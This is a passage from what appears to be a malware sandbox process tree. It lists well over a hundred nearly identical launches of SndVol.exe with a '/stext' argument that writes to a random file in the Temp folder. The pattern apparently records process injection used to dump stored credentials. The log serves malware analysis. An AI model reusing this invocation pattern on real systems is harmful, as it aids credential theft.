C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7440

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7448

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7456

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7464

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7472

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7480

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7488

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7496

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7504

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7512

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7520

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7536

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7544

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7552

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7568

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7584

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7600

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7608

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7616

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7624

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7632

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7640

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7648

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7656

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7672

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7680

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7688

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7696

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7704

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7720

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7728

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7736

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7744

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7752

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7776

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7784

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7792

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7800

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7808

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7816

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7848

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7856

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7864

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7872

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7888

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7896

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7904

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7912

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7920

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7928

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7936

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7944

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7968

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7976

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7984

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7992

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8000

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8008

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8016

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8024

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8032

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8040

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8048

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8056

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8064

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8080

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8088

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8096

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8120

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8128

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8144

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8152

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8160

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8168

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8176

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8184

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7412

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8196

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8204

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8212

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8220

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8228

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8236

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8244

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8252

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8260

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8268

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8276

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8284

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8292

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8308

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8316

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8324

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8332

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8340

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8348

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8356

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8364

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8372

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8380

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8388

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8396

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8404

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8412

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8420

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8428

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8436

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8452

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8460

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8468

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8488

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8496

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8504

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8512

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8520

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8536

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8544

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8552

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8568

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8584

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8600

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8608

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8616

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8624

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8632

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8640

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8648

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8656

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8672

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8680

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8688

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8696

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8704

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8720

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8728

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8736

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8744

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8752

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8776

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8784

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8792

C:\Windows\SysWOW64\SndVol.exe
